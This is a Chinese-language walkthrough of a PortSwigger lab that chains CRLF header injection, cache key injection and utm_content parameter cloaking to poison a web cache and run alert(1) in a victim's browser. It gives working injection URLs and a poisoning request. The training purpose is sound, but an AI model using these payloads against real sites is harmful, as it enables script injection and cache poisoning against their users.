专家-缓存实现缺陷-缓存键注入
# 实验室:缓存键注入
# 题目
此实验室包含多个独立漏洞,包括缓存键注入。用户定期使用 Chrome 访问该网站的主页。
若要解决实验室问题,请结合这些漏洞,并在受害者的浏览器中执行alert(1)。请注意,你需要使用Pragma: x-get-cache-key标头来辅助本次实验。
提示
完成本实验需要了解其他几个 Web 漏洞。如果你在几个小时后仍然无法解决此问题,我们建议你先完成 Web 安全学院 (opens new window)上的所有其他主题。
- name: 实验室-专家
desc: 缓存键注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-cache-key-injection
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
映入眼帘的是一个登录页面。嗯?
# 分析请求
访问登录页面时,会加载 js 文件/js/localize.js,并传递两个参数lang=en和cors=0。
/js/localize.js?lang=en&cors=0
查看 js 文件内容,一个简单的功能,设置 Cookie 中的lang参数。
所设置的 Cookie 会受 GET 参数lang=en的影响。
直接访问根目录会发生什么情况?
第一个请求,访问根目录,重定向至/login?lang=en路径。
第二个请求,重定向至/login?lang=en,然后由于路径规范化,又被重定向至/login/?lang=en路径下。
前两个请求(重定向)都是具有缓存的,第三个请求是正常访问页面,没有缓存。
然后我发现,如果在根目录/传递一个空的查询参数(例如?i),则不会发生重定向。
# 缓存键分析
根据题目中的提示,我们可以通过Pragma: x-get-cache-key标头来显示某个页面的缓存键。
请求路径/js/localize.js?lang=en&cors=0时,缓存键为/js/localize.js?lang=en&cors=0$$。
缓存键前面的是路径,那么符号$$应该就是教程中提到的分隔符。那么分隔符的后面是什么呢?
根据所学,添加一个Origin标头,发现分隔符后方出现了origin=值。
由此得出缓存键的组成方式:
缓存键 = <请求路径> + $$ + <origin=Origin标头的值>
然后我将cors参数修改为1,发现响应中多出了一个标头Access-Control-Allow-Origin: 值。这有什么用呢?
cors参数只接受0和1两个参数值,用于控制响应标头Access-Control-Allow-Origin是否启用。
# 发现XSS
Access-Control-Allow-Origin标头会反馈Origin标头的值。
在 CSRF 主题的某个实验室中,我们曾向 Cookie 中注入符号%0d%0a使其换行,这样就可以注入新的响应标头。
我们在这里也尝试一下:
Origin: abc.com%0d%0aSet-Cookie: abc=123
发送请求,成功使Access-Control-Allow-Origin标头换行,并且注入了Set-Cookie响应标头。
如果想要插入 XSS 载荷,则需要换行两次:
Origin: abc.com%0d%0a%0d%0aalert(1)
嗯?怎么没响应内容?
噢,经过查询,如果要在响应请求中显示 Body 部分,则需要添加Content-Length(数据长度)标头。
先换行一次,添加标头Content-Length: 8指定数据长度为 8 个字符。
然后换行两次,注入 XSS 载荷。
Origin: abc.com%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
这次成功了。
# XSS缓存键分析
再次添加Pragma: x-get-cache-key标头,看看造成 XSS 时的缓存键是什么样子的。
得到缓存键:
/js/localize.js?lang=en&cors=1$$origin=...
# 测试请求-1
根据所学,在Origin标头最后面添加分隔符$$:
Origin: ...$$
然后发送请求,得到缓存键:
- 路径是
/js/localize.js?lang=en&cors=1 - 分隔符是
$$ - Origin 标头是
origin=...$$
路径 + $$ + origin=...$$
/js/localize.js?lang=en&cors=1$$origin=...$$
2
3
# 测试请求-2
随后删除Origin标头,在 GET 参数最后面添加分隔符$$,在分隔符后面添加origin=...:
/js/localize.js?lang=en&cors=1$$origin=...
然后发送请求,得到缓存键:
- 路径是
/js/localize.js?lang=en&cors=1$$origin=... - 分隔符是
$$ - Origin 标头是空的,所以不会添加
路径 + $$
/js/localize.js?lang=en&cors=1$$origin=...$$
2
3
看出来了吗,第一和第二个测试请求的缓存键是相同的!所以它们会命中同一个缓存。
- 第一个请求带有
Origin标头,会造成 XSS 漏洞,并引出有毒的缓存响应 - 第二个请求由于缓存键相同,所以会命中上一个有毒的缓存响应,得到
alert(1)
此时如果你通过浏览器访问以下 URL,则会看到alert(1)。
/js/localize.js?lang=en&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)
# 毒害资源导入URL
但现在有一个问题,网站主页引入的资源文件是/js/localize.js?lang=en&cors=0。
而我们毒害的是/js/localize.js?lang=en&cors=1,参数cors是一个缓存键(有键),参数0和1会命中不同的缓存。
所以我们需要将网站主页的cors变成1,以便造成 XSS 漏洞。
经过尝试,参数lang会实时反馈在响应当中,但cors参数不会。
cors始终为0。
记得有一个跳转请求,它会重定向 URL,将/login?变成/login/?。
跳转过去的话能否影响到cors参数?
cors纹丝不动,还是0。
# UTM参数伪装
随后我瞄了一小眼答案(我似废物),发现了问号的用法。
发现是利用无键参数utm_content + 问号?解析差异 + 覆盖cors参数。
我之前也发现了utm_content无键参数,但是想不出来咋利用。
如果请求以下路径,用符号&来分隔参数,则utm_content会被视为独立的参数。该参数会被排除,无法反馈在即时响应当中。
/login/?lang=en&utm_content=ccc
如果请求以下路径,用符号?来分隔参数,则utm_content会被视为lang参数的一部分。会被反馈在即时响应的 URL 资源导入当中。
/login/?lang=en?utm_content=ccc
构造以下路径:
- 用符号
?来分隔utm_content参数,使其被视为lang参数的一部分,能够反馈在即时响应当中 utm_content的值%26cors=1会被带入到 js 资源导入的 URL 当中,作为参数cors=1发送utm_content的值%23会被带入到 js 资源导入的 URL 当中,被解析为锚点符号#,用于忽略原有的cors=0参数
/login/?lang=en?utm_content=ccc%26cors=1%23
如图所示,通过utm_content参数注入新的cors=1参数,并使用锚点符号#忽略掉原有的cors=0参数。
访问以下路径,看看会发生什么。
/login/?lang=en?utm_content=ccc%26cors=1%23
和预料中的一样,成功地将资源导入 URL 的cors=0变为了cors=1。
# 重新分析XSS缓存键
由于我们往资源导入 URL 中注入了utm_content参数,所以要重新构造对应的缓存键。好让资源导入时命中有毒的缓存。
如图所示,向 js 文件传递?utm_content=...&时,这段字符串会直接被替换为单个问号?。
之前分析的 XSS 缓存键可以不改动,只需要在两次请求的 URL 中增加字符串?utm_content=ccc&即可。
同时还有一个要点,在向主页投毒时,原有的 URL 编码%0d%0a需要进行第二次 URL 编码。
请求:
/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
加载:
/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)#&cors=0
锚点被忽略
/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)
2
3
4
命中缓存:
X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
投毒请求:
GET /js/localize.js?lang=en?utm_content=ccc&cors=1 HTTP/2
Host: 0ac30060032bb5c280530dfe002000be.web-security-academy.net
Origin: %0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
2
3
命中缓存:
?utm_content=ccc&被转换为?- 添加缓存分隔符
$$ - 添加
origin参数 - 为
origin赋值
/js/localize.js?lang=en?utm_content=ccc&cors=1
/js/localize.js?lang=en?cors=1
/js/localize.js?lang=en?cors=1$$
/js/localize.js?lang=en?cors=1$$origin=
/js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
2
3
4
5
6
缓存键:
X-Cache-Key: /js/localize.js?lang=en?cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)$$
使用以上请求进行投毒。
然后访问以下 URL:
/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
访问之后就会加载有毒的 js 资源文件,执行alert()。
已经能够在登录页面看到弹框了。
# 最终利用
第一个投毒-造成XSS
第二个投毒-将受害者重定向至特定的URL
还记得访问根目录/时会产生重定向吗?
- 访问
/ - 重定向至
/login?lang=... - 二次重定向至
/login/?lang=...
对第一次重定向进行投毒,使其重定向到带有 UTM 参数伪装的 URL:
/login?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23
由于解析差异,参数utm_content不会被包含在缓存键中。
X-Cache-Key: /login?lang=en$$
所以请求路径/login?lang=...和/login?lang=...?utm_content=...会命中同一个缓存响应。
访问网站根目录,成功执行alert()。
看看产生了哪些请求。
第一个请求,受害者访问网站根目录/,被重定向至登录页面/login?lang=en
第二个请求,命中有毒的缓存响应。
原本应该重定向至/login/?lang=en,但缓存响应已被我们毒害,所以受害者会被重定向至/login/?lang=en?utm_content=ccc%26cors=1$$origin=%25%30%64%25%30%61Content-Length:8%25%30%64%25%30%61%25%30%64%25%30%61alert(1)%23。
第三个请求,受害者被重定向至/login/?lang=en?utm_content=ccc%26cors=1......省略。
然后该页面会根据 GET 参数,加载对应的 js 资源文件/js/localize.js?lang=en?utm_content=ccc&cors=1$$origin=%0d%0aContent-Length:8%0d%0a%0d%0aalert(1)#&cors=0。
第四个请求,命中有毒的缓存响应。
受害者的script标签加载恶意 js 资源文件,执行了alert(1)。
实验完成。
